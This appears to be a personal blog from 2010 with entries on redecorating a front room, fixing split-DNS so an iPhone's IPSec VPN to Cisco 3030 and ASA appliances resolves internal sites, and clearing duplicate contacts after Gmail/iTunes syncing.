The cyclic decorating had come round to the front room.  Apparently if you do one room a year it never catches up.  Thank you to Julian for putting that on the agenda !

The 10 year old rear projection TV had to go and my 13 year old Pioneer AMP had just died .. So I spent some time and settled on a 50" Pioneer plasma & Onkyo receiver.  I say settled, that was probably 3 months of deciding ..

So, the rules are TV on wall, no cables - simple.  Yeah but if we put the TV there then the radiator is in the way ..  oh .. trip to The Radiator Gallery and returned later with a big hole in my wallet.

This was a massive job, it probably took two solid weeks of work running the cables and making good.  I'd certainly do it again but next time would get a plasterer in to finish the walls ..


Monday, 24 May 2010

iPhone Cisco VPN 3030

The iPhone has a default MAC OS VPN client which I easily got connected to the corp VPN appliances we have.  Cisco 3030.

Trouble was I could'nt seem to get the proxy settings to kick in on Safari.  When connected on the VPN I could browse external sites but nothing internally.  I Installed a few more network apps, ping, ssh etc and narrowed it down to DNS not working.  And not working only for some apps ! ie Safari !

A Quick Google and I stumbled across a post advising to set the local domains in the split DNS names part of the IPSec group config, under the client config tab.  Did this and everything works a treat ..


 
 


Official Apple support for the 3xxx series is vague, but it works fine ..

Update : 24/05/2010

Tested against ASA 5540 with IPSec VPN and it works fine.  The Same issue with DNS exists.  Add the domains to the ASA Group Policy assigned to the IPSec Connection Profile ...


Apparently the next release of IPhone OS supports SSL VPN .. If it does I'll try it ..

Tuesday, 18 May 2010

iPhone duplicate contacts


Note entirely clear on this, nor can I reproduce it .. But I'm writing it down so next time I can try the same method.

With my Blackberry I could sync my Gmail & Domino contacts perfectly using the native BB OS and Google sync.

On the the iPhone Google support contact syncing with Active Sync.  And seeing as the OS only supports a single Exchange ActiveSync, which on mine is configured for our corp email - Lotus Notes Traveller(LNT), then I needed plan B.

I opted to disable LNT contact sync and make use of the iTunes Sync to Gmail.  This was all working fine until one morning I noticed my phone contacts had 5 or 6 duplicates.  They where identical in content although on some the fields where in different order.  Some of the duplicates contained lots of information and some just an email.

Regardless of what I did I couldn't remove them.  Theres plenty of hits on google none of which resolved.

In the end I picked on one of the contacts and deleted it from the phone and gmail.  Sync'd the device, contact gone, good.  Added them back as a Gmail contact, synced the device - warning, you are changing >25% of contacts.  Odd, I have a backup so clicked yes.

Bingo, all duplicates gone !

I've since tried to reproduce the problem, edited local contacts, Gmail contacts etc  .. But each time the sync works fine, and as expected.

Will keep an eye on it ... to be continued ...................